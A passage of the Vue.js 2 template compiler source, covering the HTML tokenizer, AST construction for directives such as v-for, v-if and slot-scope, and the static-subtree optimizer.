/^\\s*([^\\s\"'<>\\/=]+)(?:\\s*(=)\\s*(?:\"([^\"]*)\"+|'([^']*)'+|([^\\s\"'=<>`]+)))?/;\n  // could use https://www.w3.org/TR/1999/REC-xml-names-19990114/#NT-QName\n  // but for Vue templates we can enforce a simple charset\n  var ncname = '[a-zA-Z_][\\\\w\\\\-\\\\.]*';\n  var qnameCapture = \"((?:\" + ncname + \"\\\\:)?\" + ncname + \")\";\n  var startTagOpen = new RegExp((\"^<\" + qnameCapture));\n  var startTagClose = /^\\s*(\\/?)>/;\n  var endTag = new RegExp((\"^<\\\\/\" + qnameCapture + \"[^>]*>\"));\n  var doctype = /^<!DOCTYPE [^>]+>/i;\n  // #7298: escape - to avoid being pased as HTML comment when inlined in page\n  var comment = /^<!\\--/;\n  var conditionalComment = /^<!\\[/;\n\n  // Special Elements (can contain anything)\n  var isPlainTextElement = makeMap('script,style,textarea', true);\n  var reCache = {};\n\n  var decodingMap = {\n    '&lt;': '<',\n    '&gt;': '>',\n    '&quot;': '\"',\n    '&amp;': '&',\n    '&#10;': '\\n',\n    '&#9;': '\\t'\n  };\n  var encodedAttr = /&(?:lt|gt|quot|amp);/g;\n  var encodedAttrWithNewLines = /&(?:lt|gt|quot|amp|#10|#9);/g;\n\n  // #5992\n  var isIgnoreNewlineTag = makeMap('pre,textarea', true);\n  var shouldIgnoreFirstNewline = function (tag, html) { return tag && isIgnoreNewlineTag(tag) && html[0] === '\\n'; };\n\n  function decodeAttr (value, shouldDecodeNewlines) {\n    var re = shouldDecodeNewlines ? encodedAttrWithNewLines : encodedAttr;\n    return value.replace(re, function (match) { return decodingMap[match]; })\n  }\n\n  function parseHTML (html, options) {\n    var stack = [];\n    var expectHTML = options.expectHTML;\n    var isUnaryTag$$1 = options.isUnaryTag || no;\n    var canBeLeftOpenTag$$1 = options.canBeLeftOpenTag || no;\n    var index = 0;\n    var last, lastTag;\n    while (html) {\n      last = html;\n      // Make sure we're not in a plaintext content element like script/style\n      if (!lastTag || !isPlainTextElement(lastTag)) {\n        var textEnd = html.indexOf('<');\n        if (textEnd === 0) {\n          // Comment:\n          if (comment.test(html)) {\n            var commentEnd = html.indexOf('-->');\n\n            if (commentEnd >= 0) {\n              if (options.shouldKeepComment) {\n                options.comment(html.substring(4, commentEnd));\n              }\n              advance(commentEnd + 3);\n              continue\n            }\n          }\n\n          // http://en.wikipedia.org/wiki/Conditional_comment#Downlevel-revealed_conditional_comment\n          if (conditionalComment.test(html)) {\n            var conditionalEnd = html.indexOf(']>');\n\n            if (conditionalEnd >= 0) {\n              advance(conditionalEnd + 2);\n              continue\n            }\n          }\n\n          // Doctype:\n          var doctypeMatch = html.match(doctype);\n          if (doctypeMatch) {\n            advance(doctypeMatch[0].length);\n            continue\n          }\n\n          // End tag:\n          var endTagMatch = html.match(endTag);\n          if (endTagMatch) {\n            var curIndex = index;\n            advance(endTagMatch[0].length);\n            parseEndTag(endTagMatch[1], curIndex, index);\n            continue\n          }\n\n          // Start tag:\n          var startTagMatch = parseStartTag();\n          if (startTagMatch) {\n            handleStartTag(startTagMatch);\n            if (shouldIgnoreFirstNewline(startTagMatch.tagName, html)) {\n              advance(1);\n            }\n            continue\n          }\n        }\n\n        var text = (void 0), rest = (void 0), next = (void 0);\n        if (textEnd >= 0) {\n          rest = html.slice(textEnd);\n          while (\n            !endTag.test(rest) &&\n            !startTagOpen.test(rest) &&\n            !comment.test(rest) &&\n            !conditionalComment.test(rest)\n          ) {\n            // < in plain text, be forgiving and treat it as text\n            next = rest.indexOf('<', 1);\n            if (next < 0) { break }\n            textEnd += next;\n            rest = html.slice(textEnd);\n          }\n          text = html.substring(0, textEnd);\n          advance(textEnd);\n        }\n\n        if (textEnd < 0) {\n          text = html;\n          html = '';\n        }\n\n        if (options.chars && text) {\n          options.chars(text);\n        }\n      } else {\n        var endTagLength = 0;\n        var stackedTag = lastTag.toLowerCase();\n        var reStackedTag = reCache[stackedTag] || (reCache[stackedTag] = new RegExp('([\\\\s\\\\S]*?)(</' + stackedTag + '[^>]*>)', 'i'));\n        var rest$1 = html.replace(reStackedTag, function (all, text, endTag) {\n          endTagLength = endTag.length;\n          if (!isPlainTextElement(stackedTag) && stackedTag !== 'noscript') {\n            text = text\n              .replace(/<!\\--([\\s\\S]*?)-->/g, '$1') // #7298\n              .replace(/<!\\[CDATA\\[([\\s\\S]*?)]]>/g, '$1');\n          }\n          if (shouldIgnoreFirstNewline(stackedTag, text)) {\n            text = text.slice(1);\n          }\n          if (options.chars) {\n            options.chars(text);\n          }\n          return ''\n        });\n        index += html.length - rest$1.length;\n        html = rest$1;\n        parseEndTag(stackedTag, index - endTagLength, index);\n      }\n\n      if (html === last) {\n        options.chars && options.chars(html);\n        if (!stack.length && options.warn) {\n          options.warn((\"Mal-formatted tag at end of template: \\\"\" + html + \"\\\"\"));\n        }\n        break\n      }\n    }\n\n    // Clean up any remaining tags\n    parseEndTag();\n\n    function advance (n) {\n      index += n;\n      html = html.substring(n);\n    }\n\n    function parseStartTag () {\n      var start = html.match(startTagOpen);\n      if (start) {\n        var match = {\n          tagName: start[1],\n          attrs: [],\n          start: index\n        };\n        advance(start[0].length);\n        var end, attr;\n        while (!(end = html.match(startTagClose)) && (attr = html.match(attribute))) {\n          advance(attr[0].length);\n          match.attrs.push(attr);\n        }\n        if (end) {\n          match.unarySlash = end[1];\n          advance(end[0].length);\n          match.end = index;\n          return match\n        }\n      }\n    }\n\n    function handleStartTag (match) {\n      var tagName = match.tagName;\n      var unarySlash = match.unarySlash;\n\n      if (expectHTML) {\n        if (lastTag === 'p' && isNonPhrasingTag(tagName)) {\n          parseEndTag(lastTag);\n        }\n        if (canBeLeftOpenTag$$1(tagName) && lastTag === tagName) {\n          parseEndTag(tagName);\n        }\n      }\n\n      var unary = isUnaryTag$$1(tagName) || !!unarySlash;\n\n      var l = match.attrs.length;\n      var attrs = new Array(l);\n      for (var i = 0; i < l; i++) {\n        var args = match.attrs[i];\n        var value = args[3] || args[4] || args[5] || '';\n        var shouldDecodeNewlines = tagName === 'a' && args[1] === 'href'\n          ? options.shouldDecodeNewlinesForHref\n          : options.shouldDecodeNewlines;\n        attrs[i] = {\n          name: args[1],\n          value: decodeAttr(value, shouldDecodeNewlines)\n        };\n      }\n\n      if (!unary) {\n        stack.push({ tag: tagName, lowerCasedTag: tagName.toLowerCase(), attrs: attrs });\n        lastTag = tagName;\n      }\n\n      if (options.start) {\n        options.start(tagName, attrs, unary, match.start, match.end);\n      }\n    }\n\n    function parseEndTag (tagName, start, end) {\n      var pos, lowerCasedTagName;\n      if (start == null) { start = index; }\n      if (end == null) { end = index; }\n\n      // Find the closest opened tag of the same type\n      if (tagName) {\n        lowerCasedTagName = tagName.toLowerCase();\n        for (pos = stack.length - 1; pos >= 0; pos--) {\n          if (stack[pos].lowerCasedTag === lowerCasedTagName) {\n            break\n          }\n        }\n      } else {\n        // If no tag name is provided, clean shop\n        pos = 0;\n      }\n\n      if (pos >= 0) {\n        // Close all the open elements, up the stack\n        for (var i = stack.length - 1; i >= pos; i--) {\n          if (i > pos || !tagName &&\n            options.warn\n          ) {\n            options.warn(\n              (\"tag <\" + (stack[i].tag) + \"> has no matching end tag.\")\n            );\n          }\n          if (options.end) {\n            options.end(stack[i].tag, start, end);\n          }\n        }\n\n        // Remove the open elements from the stack\n        stack.length = pos;\n        lastTag = pos && stack[pos - 1].tag;\n      } else if (lowerCasedTagName === 'br') {\n        if (options.start) {\n          options.start(tagName, [], true, start, end);\n        }\n      } else if (lowerCasedTagName === 'p') {\n        if (options.start) {\n          options.start(tagName, [], false, start, end);\n        }\n        if (options.end) {\n          options.end(tagName, start, end);\n        }\n      }\n    }\n  }\n\n  /*  */\n\n  var onRE = /^@|^v-on:/;\n  var dirRE = /^v-|^@|^:/;\n  var forAliasRE = /([\\s\\S]*?)\\s+(?:in|of)\\s+([\\s\\S]*)/;\n  var forIteratorRE = /,([^,\\}\\]]*)(?:,([^,\\}\\]]*))?$/;\n  var stripParensRE = /^\\(|\\)$/g;\n\n  var argRE = /:(.*)$/;\n  var bindRE = /^:|^v-bind:/;\n  var modifierRE = /\\.[^.]+/g;\n\n  var decodeHTMLCached = cached(he.decode);\n\n  // configurable state\n  var warn$2;\n  var delimiters;\n  var transforms;\n  var preTransforms;\n  var postTransforms;\n  var platformIsPreTag;\n  var platformMustUseProp;\n  var platformGetTagNamespace;\n\n\n\n  function createASTElement (\n    tag,\n    attrs,\n    parent\n  ) {\n    return {\n      type: 1,\n      tag: tag,\n      attrsList: attrs,\n      attrsMap: makeAttrsMap(attrs),\n      parent: parent,\n      children: []\n    }\n  }\n\n  /**\n   * Convert HTML string to AST.\n   */\n  function parse (\n    template,\n    options\n  ) {\n    warn$2 = options.warn || baseWarn;\n\n    platformIsPreTag = options.isPreTag || no;\n    platformMustUseProp = options.mustUseProp || no;\n    platformGetTagNamespace = options.getTagNamespace || no;\n\n    transforms = pluckModuleFunction(options.modules, 'transformNode');\n    preTransforms = pluckModuleFunction(options.modules, 'preTransformNode');\n    postTransforms = pluckModuleFunction(options.modules, 'postTransformNode');\n\n    delimiters = options.delimiters;\n\n    var stack = [];\n    var preserveWhitespace = options.preserveWhitespace !== false;\n    var root;\n    var currentParent;\n    var inVPre = false;\n    var inPre = false;\n    var warned = false;\n\n    function warnOnce (msg) {\n      if (!warned) {\n        warned = true;\n        warn$2(msg);\n      }\n    }\n\n    function closeElement (element) {\n      // check pre state\n      if (element.pre) {\n        inVPre = false;\n      }\n      if (platformIsPreTag(element.tag)) {\n        inPre = false;\n      }\n      // apply post-transforms\n      for (var i = 0; i < postTransforms.length; i++) {\n        postTransforms[i](element, options);\n      }\n    }\n\n    parseHTML(template, {\n      warn: warn$2,\n      expectHTML: options.expectHTML,\n      isUnaryTag: options.isUnaryTag,\n      canBeLeftOpenTag: options.canBeLeftOpenTag,\n      shouldDecodeNewlines: options.shouldDecodeNewlines,\n      shouldDecodeNewlinesForHref: options.shouldDecodeNewlinesForHref,\n      shouldKeepComment: options.comments,\n      start: function start (tag, attrs, unary) {\n        // check namespace.\n        // inherit parent ns if there is one\n        var ns = (currentParent && currentParent.ns) || platformGetTagNamespace(tag);\n\n        // handle IE svg bug\n        /* istanbul ignore if */\n        if (isIE && ns === 'svg') {\n          attrs = guardIESVGBug(attrs);\n        }\n\n        var element = createASTElement(tag, attrs, currentParent);\n        if (ns) {\n          element.ns = ns;\n        }\n\n        if (isForbiddenTag(element) && !isServerRendering()) {\n          element.forbidden = true;\n          warn$2(\n            'Templates should only be responsible for mapping the state to the ' +\n            'UI. Avoid placing tags with side-effects in your templates, such as ' +\n            \"<\" + tag + \">\" + ', as they will not be parsed.'\n          );\n        }\n\n        // apply pre-transforms\n        for (var i = 0; i < preTransforms.length; i++) {\n          element = preTransforms[i](element, options) || element;\n        }\n\n        if (!inVPre) {\n          processPre(element);\n          if (element.pre) {\n            inVPre = true;\n          }\n        }\n        if (platformIsPreTag(element.tag)) {\n          inPre = true;\n        }\n        if (inVPre) {\n          processRawAttrs(element);\n        } else if (!element.processed) {\n          // structural directives\n          processFor(element);\n          processIf(element);\n          processOnce(element);\n          // element-scope stuff\n          processElement(element, options);\n        }\n\n        function checkRootConstraints (el) {\n          {\n            if (el.tag === 'slot' || el.tag === 'template') {\n              warnOnce(\n                \"Cannot use <\" + (el.tag) + \"> as component root element because it may \" +\n                'contain multiple nodes.'\n              );\n            }\n            if (el.attrsMap.hasOwnProperty('v-for')) {\n              warnOnce(\n                'Cannot use v-for on stateful component root element because ' +\n                'it renders multiple elements.'\n              );\n            }\n          }\n        }\n\n        // tree management\n        if (!root) {\n          root = element;\n          checkRootConstraints(root);\n        } else if (!stack.length) {\n          // allow root elements with v-if, v-else-if and v-else\n          if (root.if && (element.elseif || element.else)) {\n            checkRootConstraints(element);\n            addIfCondition(root, {\n              exp: element.elseif,\n              block: element\n            });\n          } else {\n            warnOnce(\n              \"Component template should contain exactly one root element. \" +\n              \"If you are using v-if on multiple elements, \" +\n              \"use v-else-if to chain them instead.\"\n            );\n          }\n        }\n        if (currentParent && !element.forbidden) {\n          if (element.elseif || element.else) {\n            processIfConditions(element, currentParent);\n          } else if (element.slotScope) { // scoped slot\n            currentParent.plain = false;\n            var name = element.slotTarget || '\"default\"'\n            ;(currentParent.scopedSlots || (currentParent.scopedSlots = {}))[name] = element;\n          } else {\n            currentParent.children.push(element);\n            element.parent = currentParent;\n          }\n        }\n        if (!unary) {\n          currentParent = element;\n          stack.push(element);\n        } else {\n          closeElement(element);\n        }\n      },\n\n      end: function end () {\n        // remove trailing whitespace\n        var element = stack[stack.length - 1];\n        var lastNode = element.children[element.children.length - 1];\n        if (lastNode && lastNode.type === 3 && lastNode.text === ' ' && !inPre) {\n          element.children.pop();\n        }\n        // pop stack\n        stack.length -= 1;\n        currentParent = stack[stack.length - 1];\n        closeElement(element);\n      },\n\n      chars: function chars (text) {\n        if (!currentParent) {\n          {\n            if (text === template) {\n              warnOnce(\n                'Component template requires a root element, rather than just text.'\n              );\n            } else if ((text = text.trim())) {\n              warnOnce(\n                (\"text \\\"\" + text + \"\\\" outside root element will be ignored.\")\n              );\n            }\n          }\n          return\n        }\n        // IE textarea placeholder bug\n        /* istanbul ignore if */\n        if (isIE &&\n          currentParent.tag === 'textarea' &&\n          currentParent.attrsMap.placeholder === text\n        ) {\n          return\n        }\n        var children = currentParent.children;\n        text = inPre || text.trim()\n          ? isTextTag(currentParent) ? text : decodeHTMLCached(text)\n          // only preserve whitespace if its not right after a starting tag\n          : preserveWhitespace && children.length ? ' ' : '';\n        if (text) {\n          var res;\n          if (!inVPre && text !== ' ' && (res = parseText(text, delimiters))) {\n            children.push({\n              type: 2,\n              expression: res.expression,\n              tokens: res.tokens,\n              text: text\n            });\n          } else if (text !== ' ' || !children.length || children[children.length - 1].text !== ' ') {\n            children.push({\n              type: 3,\n              text: text\n            });\n          }\n        }\n      },\n      comment: function comment (text) {\n        currentParent.children.push({\n          type: 3,\n          text: text,\n          isComment: true\n        });\n      }\n    });\n    return root\n  }\n\n  function processPre (el) {\n    if (getAndRemoveAttr(el, 'v-pre') != null) {\n      el.pre = true;\n    }\n  }\n\n  function processRawAttrs (el) {\n    var l = el.attrsList.length;\n    if (l) {\n      var attrs = el.attrs = new Array(l);\n      for (var i = 0; i < l; i++) {\n        attrs[i] = {\n          name: el.attrsList[i].name,\n          value: JSON.stringify(el.attrsList[i].value)\n        };\n      }\n    } else if (!el.pre) {\n      // non root node in pre blocks with no attributes\n      el.plain = true;\n    }\n  }\n\n  function processElement (element, options) {\n    processKey(element);\n\n    // determine whether this is a plain element after\n    // removing structural attributes\n    element.plain = !element.key && !element.attrsList.length;\n\n    processRef(element);\n    processSlot(element);\n    processComponent(element);\n    for (var i = 0; i < transforms.length; i++) {\n      element = transforms[i](element, options) || element;\n    }\n    processAttrs(element);\n  }\n\n  function processKey (el) {\n    var exp = getBindingAttr(el, 'key');\n    if (exp) {\n      {\n        if (el.tag === 'template') {\n          warn$2(\"<template> cannot be keyed. Place the key on real elements instead.\");\n        }\n        if (el.for) {\n          var iterator = el.iterator2 || el.iterator1;\n          var parent = el.parent;\n          if (iterator && iterator === exp && parent && parent.tag === 'transition-group') {\n            warn$2(\n              \"Do not use v-for index as key on <transition-group> children, \" +\n              \"this is the same as not using keys.\"\n            );\n          }\n        }\n      }\n      el.key = exp;\n    }\n  }\n\n  function processRef (el) {\n    var ref = getBindingAttr(el, 'ref');\n    if (ref) {\n      el.ref = ref;\n      el.refInFor = checkInFor(el);\n    }\n  }\n\n  function processFor (el) {\n    var exp;\n    if ((exp = getAndRemoveAttr(el, 'v-for'))) {\n      var res = parseFor(exp);\n      if (res) {\n        extend(el, res);\n      } else {\n        warn$2(\n          (\"Invalid v-for expression: \" + exp)\n        );\n      }\n    }\n  }\n\n\n\n  function parseFor (exp) {\n    var inMatch = exp.match(forAliasRE);\n    if (!inMatch) { return }\n    var res = {};\n    res.for = inMatch[2].trim();\n    var alias = inMatch[1].trim().replace(stripParensRE, '');\n    var iteratorMatch = alias.match(forIteratorRE);\n    if (iteratorMatch) {\n      res.alias = alias.replace(forIteratorRE, '').trim();\n      res.iterator1 = iteratorMatch[1].trim();\n      if (iteratorMatch[2]) {\n        res.iterator2 = iteratorMatch[2].trim();\n      }\n    } else {\n      res.alias = alias;\n    }\n    return res\n  }\n\n  function processIf (el) {\n    var exp = getAndRemoveAttr(el, 'v-if');\n    if (exp) {\n      el.if = exp;\n      addIfCondition(el, {\n        exp: exp,\n        block: el\n      });\n    } else {\n      if (getAndRemoveAttr(el, 'v-else') != null) {\n        el.else = true;\n      }\n      var elseif = getAndRemoveAttr(el, 'v-else-if');\n      if (elseif) {\n        el.elseif = elseif;\n      }\n    }\n  }\n\n  function processIfConditions (el, parent) {\n    var prev = findPrevElement(parent.children);\n    if (prev && prev.if) {\n      addIfCondition(prev, {\n        exp: el.elseif,\n        block: el\n      });\n    } else {\n      warn$2(\n        \"v-\" + (el.elseif ? ('else-if=\"' + el.elseif + '\"') : 'else') + \" \" +\n        \"used on element <\" + (el.tag) + \"> without corresponding v-if.\"\n      );\n    }\n  }\n\n  function findPrevElement (children) {\n    var i = children.length;\n    while (i--) {\n      if (children[i].type === 1) {\n        return children[i]\n      } else {\n        if (children[i].text !== ' ') {\n          warn$2(\n            \"text \\\"\" + (children[i].text.trim()) + \"\\\" between v-if and v-else(-if) \" +\n            \"will be ignored.\"\n          );\n        }\n        children.pop();\n      }\n    }\n  }\n\n  function addIfCondition (el, condition) {\n    if (!el.ifConditions) {\n      el.ifConditions = [];\n    }\n    el.ifConditions.push(condition);\n  }\n\n  function processOnce (el) {\n    var once$$1 = getAndRemoveAttr(el, 'v-once');\n    if (once$$1 != null) {\n      el.once = true;\n    }\n  }\n\n  function processSlot (el) {\n    if (el.tag === 'slot') {\n      el.slotName = getBindingAttr(el, 'name');\n      if (el.key) {\n        warn$2(\n          \"`key` does not work on <slot> because slots are abstract outlets \" +\n          \"and can possibly expand into multiple elements. \" +\n          \"Use the key on a wrapping element instead.\"\n        );\n      }\n    } else {\n      var slotScope;\n      if (el.tag === 'template') {\n        slotScope = getAndRemoveAttr(el, 'scope');\n        /* istanbul ignore if */\n        if (slotScope) {\n          warn$2(\n            \"the \\\"scope\\\" attribute for scoped slots have been deprecated and \" +\n            \"replaced by \\\"slot-scope\\\" since 2.5. The new \\\"slot-scope\\\" attribute \" +\n            \"can also be used on plain elements in addition to <template> to \" +\n            \"denote scoped slots.\",\n            true\n          );\n        }\n        el.slotScope = slotScope || getAndRemoveAttr(el, 'slot-scope');\n      } else if ((slotScope = getAndRemoveAttr(el, 'slot-scope'))) {\n        /* istanbul ignore if */\n        if (el.attrsMap['v-for']) {\n          warn$2(\n            \"Ambiguous combined usage of slot-scope and v-for on <\" + (el.tag) + \"> \" +\n            \"(v-for takes higher priority). Use a wrapper <template> for the \" +\n            \"scoped slot to make it clearer.\",\n            true\n          );\n        }\n        el.slotScope = slotScope;\n      }\n      var slotTarget = getBindingAttr(el, 'slot');\n      if (slotTarget) {\n        el.slotTarget = slotTarget === '\"\"' ? '\"default\"' : slotTarget;\n        // preserve slot as an attribute for native shadow DOM compat\n        // only for non-scoped slots.\n        if (el.tag !== 'template' && !el.slotScope) {\n          addAttr(el, 'slot', slotTarget);\n        }\n      }\n    }\n  }\n\n  function processComponent (el) {\n    var binding;\n    if ((binding = getBindingAttr(el, 'is'))) {\n      el.component = binding;\n    }\n    if (getAndRemoveAttr(el, 'inline-template') != null) {\n      el.inlineTemplate = true;\n    }\n  }\n\n  function processAttrs (el) {\n    var list = el.attrsList;\n    var i, l, name, rawName, value, modifiers, isProp;\n    for (i = 0, l = list.length; i < l; i++) {\n      name = rawName = list[i].name;\n      value = list[i].value;\n      if (dirRE.test(name)) {\n        // mark element as dynamic\n        el.hasBindings = true;\n        // modifiers\n        modifiers = parseModifiers(name);\n        if (modifiers) {\n          name = name.replace(modifierRE, '');\n        }\n        if (bindRE.test(name)) { // v-bind\n          name = name.replace(bindRE, '');\n          value = parseFilters(value);\n          isProp = false;\n          if (\n            value.trim().length === 0\n          ) {\n            warn$2(\n              (\"The value for a v-bind expression cannot be empty. Found in \\\"v-bind:\" + name + \"\\\"\")\n            );\n          }\n          if (modifiers) {\n            if (modifiers.prop) {\n              isProp = true;\n              name = camelize(name);\n              if (name === 'innerHtml') { name = 'innerHTML'; }\n            }\n            if (modifiers.camel) {\n              name = camelize(name);\n            }\n            if (modifiers.sync) {\n              addHandler(\n                el,\n                (\"update:\" + (camelize(name))),\n                genAssignmentCode(value, \"$event\")\n              );\n            }\n          }\n          if (isProp || (\n            !el.component && platformMustUseProp(el.tag, el.attrsMap.type, name)\n          )) {\n            addProp(el, name, value);\n          } else {\n            addAttr(el, name, value);\n          }\n        } else if (onRE.test(name)) { // v-on\n          name = name.replace(onRE, '');\n          addHandler(el, name, value, modifiers, false, warn$2);\n        } else { // normal directives\n          name = name.replace(dirRE, '');\n          // parse arg\n          var argMatch = name.match(argRE);\n          var arg = argMatch && argMatch[1];\n          if (arg) {\n            name = name.slice(0, -(arg.length + 1));\n          }\n          addDirective(el, name, rawName, value, arg, modifiers);\n          if (name === 'model') {\n            checkForAliasModel(el, value);\n          }\n        }\n      } else {\n        // literal attribute\n        {\n          var res = parseText(value, delimiters);\n          if (res) {\n            warn$2(\n              name + \"=\\\"\" + value + \"\\\": \" +\n              'Interpolation inside attributes has been removed. ' +\n              'Use v-bind or the colon shorthand instead. For example, ' +\n              'instead of <div id=\"{{ val }}\">, use <div :id=\"val\">.'\n            );\n          }\n        }\n        addAttr(el, name, JSON.stringify(value));\n        // #6887 firefox doesn't update muted state if set via attribute\n        // even immediately after element creation\n        if (!el.component &&\n            name === 'muted' &&\n            platformMustUseProp(el.tag, el.attrsMap.type, name)) {\n          addProp(el, name, 'true');\n        }\n      }\n    }\n  }\n\n  function checkInFor (el) {\n    var parent = el;\n    while (parent) {\n      if (parent.for !== undefined) {\n        return true\n      }\n      parent = parent.parent;\n    }\n    return false\n  }\n\n  function parseModifiers (name) {\n    var match = name.match(modifierRE);\n    if (match) {\n      var ret = {};\n      match.forEach(function (m) { ret[m.slice(1)] = true; });\n      return ret\n    }\n  }\n\n  function makeAttrsMap (attrs) {\n    var map = {};\n    for (var i = 0, l = attrs.length; i < l; i++) {\n      if (\n        map[attrs[i].name] && !isIE && !isEdge\n      ) {\n        warn$2('duplicate attribute: ' + attrs[i].name);\n      }\n      map[attrs[i].name] = attrs[i].value;\n    }\n    return map\n  }\n\n  // for script (e.g. type=\"x/template\") or style, do not decode content\n  function isTextTag (el) {\n    return el.tag === 'script' || el.tag === 'style'\n  }\n\n  function isForbiddenTag (el) {\n    return (\n      el.tag === 'style' ||\n      (el.tag === 'script' && (\n        !el.attrsMap.type ||\n        el.attrsMap.type === 'text/javascript'\n      ))\n    )\n  }\n\n  var ieNSBug = /^xmlns:NS\\d+/;\n  var ieNSPrefix = /^NS\\d+:/;\n\n  /* istanbul ignore next */\n  function guardIESVGBug (attrs) {\n    var res = [];\n    for (var i = 0; i < attrs.length; i++) {\n      var attr = attrs[i];\n      if (!ieNSBug.test(attr.name)) {\n        attr.name = attr.name.replace(ieNSPrefix, '');\n        res.push(attr);\n      }\n    }\n    return res\n  }\n\n  function checkForAliasModel (el, value) {\n    var _el = el;\n    while (_el) {\n      if (_el.for && _el.alias === value) {\n        warn$2(\n          \"<\" + (el.tag) + \" v-model=\\\"\" + value + \"\\\">: \" +\n          \"You are binding v-model directly to a v-for iteration alias. \" +\n          \"This will not be able to modify the v-for source array because \" +\n          \"writing to the alias is like modifying a function local variable. \" +\n          \"Consider using an array of objects and use v-model on an object property instead.\"\n        );\n      }\n      _el = _el.parent;\n    }\n  }\n\n  /*  */\n\n  function preTransformNode (el, options) {\n    if (el.tag === 'input') {\n      var map = el.attrsMap;\n      if (!map['v-model']) {\n        return\n      }\n\n      var typeBinding;\n      if (map[':type'] || map['v-bind:type']) {\n        typeBinding = getBindingAttr(el, 'type');\n      }\n      if (!map.type && !typeBinding && map['v-bind']) {\n        typeBinding = \"(\" + (map['v-bind']) + \").type\";\n      }\n\n      if (typeBinding) {\n        var ifCondition = getAndRemoveAttr(el, 'v-if', true);\n        var ifConditionExtra = ifCondition ? (\"&&(\" + ifCondition + \")\") : \"\";\n        var hasElse = getAndRemoveAttr(el, 'v-else', true) != null;\n        var elseIfCondition = getAndRemoveAttr(el, 'v-else-if', true);\n        // 1. checkbox\n        var branch0 = cloneASTElement(el);\n        // process for on the main node\n        processFor(branch0);\n        addRawAttr(branch0, 'type', 'checkbox');\n        processElement(branch0, options);\n        branch0.processed = true; // prevent it from double-processed\n        branch0.if = \"(\" + typeBinding + \")==='checkbox'\" + ifConditionExtra;\n        addIfCondition(branch0, {\n          exp: branch0.if,\n          block: branch0\n        });\n        // 2. add radio else-if condition\n        var branch1 = cloneASTElement(el);\n        getAndRemoveAttr(branch1, 'v-for', true);\n        addRawAttr(branch1, 'type', 'radio');\n        processElement(branch1, options);\n        addIfCondition(branch0, {\n          exp: \"(\" + typeBinding + \")==='radio'\" + ifConditionExtra,\n          block: branch1\n        });\n        // 3. other\n        var branch2 = cloneASTElement(el);\n        getAndRemoveAttr(branch2, 'v-for', true);\n        addRawAttr(branch2, ':type', typeBinding);\n        processElement(branch2, options);\n        addIfCondition(branch0, {\n          exp: ifCondition,\n          block: branch2\n        });\n\n        if (hasElse) {\n          branch0.else = true;\n        } else if (elseIfCondition) {\n          branch0.elseif = elseIfCondition;\n        }\n\n        return branch0\n      }\n    }\n  }\n\n  function cloneASTElement (el) {\n    return createASTElement(el.tag, el.attrsList.slice(), el.parent)\n  }\n\n  var model$1 = {\n    preTransformNode: preTransformNode\n  };\n\n  var modules$1 = [\n    klass$1,\n    style$1,\n    model$1\n  ];\n\n  /*  */\n\n  function text (el, dir) {\n    if (dir.value) {\n      addProp(el, 'textContent', (\"_s(\" + (dir.value) + \")\"));\n    }\n  }\n\n  /*  */\n\n  function html (el, dir) {\n    if (dir.value) {\n      addProp(el, 'innerHTML', (\"_s(\" + (dir.value) + \")\"));\n    }\n  }\n\n  var directives$1 = {\n    model: model,\n    text: text,\n    html: html\n  };\n\n  /*  */\n\n  var baseOptions = {\n    expectHTML: true,\n    modules: modules$1,\n    directives: directives$1,\n    isPreTag: isPreTag,\n    isUnaryTag: isUnaryTag,\n    mustUseProp: mustUseProp,\n    canBeLeftOpenTag: canBeLeftOpenTag,\n    isReservedTag: isReservedTag,\n    getTagNamespace: getTagNamespace,\n    staticKeys: genStaticKeys(modules$1)\n  };\n\n  /*  */\n\n  var isStaticKey;\n  var isPlatformReservedTag;\n\n  var genStaticKeysCached = cached(genStaticKeys$1);\n\n  /**\n   * Goal of the optimizer: walk the generated template AST tree\n   * and detect sub-trees that are purely static, i.e. parts of\n   * the DOM that never needs to change.\n   *\n   * Once we detect these sub-trees, we can:\n   *\n   * 1. Hoist them into constants, so that we no longer need to\n   *    create fresh nodes for them on each re-render;\n   * 2. Completely skip them in the patching process.\n   */\n  function optimize (root, options) {\n    if (!root) { return }\n    isStaticKey = genStaticKeysCached(options.staticKeys || '');\n    isPlatformReservedTag = options.isReservedTag || no;\n    // first pass: mark all non-static nodes.\n    markStatic$1(root);\n    // second pass: mark static roots.\n    markStaticRoots(root, false);\n  }\n\n  function genStaticKeys$1 (keys) {\n    return makeMap(\n      'type,tag,attrsList,attrsMap,plain,parent,children,attrs' +\n      (keys ? ',' + keys : '')\n    )\n  }\n\n  function markStatic$1 (node) {\n    node.static = isStatic(node);\n    if (node.type === 1) {\n      // do not make component slot content static. this avoids\n      // 1. components not able to mutate slot nodes\n      // 2. static slot content fails for hot-reloading\n      if (\n        !isPlatformReservedTag(node.tag) &&\n        node.tag !== 'slot' &&\n        node.attrsMap['inline-template'] == null\n      ) {\n        return\n      }\n      for (var i = 0, l = node.children.length; i < l; i++) {\n        var child = node.children[i];\n        markStatic$1(child);\n        if (!child.static) {\n          node.static = false;\n        }\n      }\n      if (node.ifConditions) {\n        for (var i$1 = 1, l$1 = node.ifConditions.length; i$1 < l$1; i$1++) {\n          var block = node.ifConditions[i$1].block;\n          markStatic$1(block);\n          if (!block.static) {\n            node.static = false;\n          }\n        }\n      }\n    }\n  }\n\n  function markStaticRoots (node, isInFor) {\n    if (node.type === 1) {\n      if (node.static || node.once) {\n        node.staticInFor = isInFor;\n      }\n      // For a node to qualify as a static root, it should have children that\n      // are not just static text. Otherwise the cost of hoisting out will\n      // outweigh the benefits and it's better off to just always render it fresh.\n      if (node.static && node.children.length && !(\n        node.children.length === 1 &&\n        node.children[0].type === 3\n      )) {\n        node.staticRoot = true;\n        return\n      } else {\n        node.staticRoot = false;\n      }\n      if (node.children) {\n        for (var i = 0, l = node.children.length; i < l; i++) {\n          markStaticRoots(node.children[i], isInFor || !!node.for);\n        }\n      }\n      if (node.ifConditions) {\n        for (var i$1 = 1, l$1 = node.ifConditions.length; i$1 < l$1; i$1++) {\n          markStaticRoots(node.ifConditions[i$1].block, isInFor);\n        }\n      }\n    }\n  }\n\n  function isStatic (node) {\n    if (node.type === 2) { // expression\n      return false\n    }\n    if (node.type === 3) { // text\n      return true\n    }\n    return !!(node.pre || (\n      !node.hasBindings && // no dynamic bindings\n      !node.if && !node.for && // not v-if or v-for or v-else\n      !isBuiltInTag(node.tag) && // not a built-in\n      isPlatformReservedTag(node.tag) && // not a component\n      !isDirectChildOfTemplateFor(node) &&\n      Object.keys(node).every(isStaticKey)\n    ))\n  }\n\n  function isDirectChildOfTemplateFor (node) {\n    while (node.parent) {\n      node = node.parent;\n      if (node.tag !== 'template') {\n        return false\n      }\n      if (node.for) 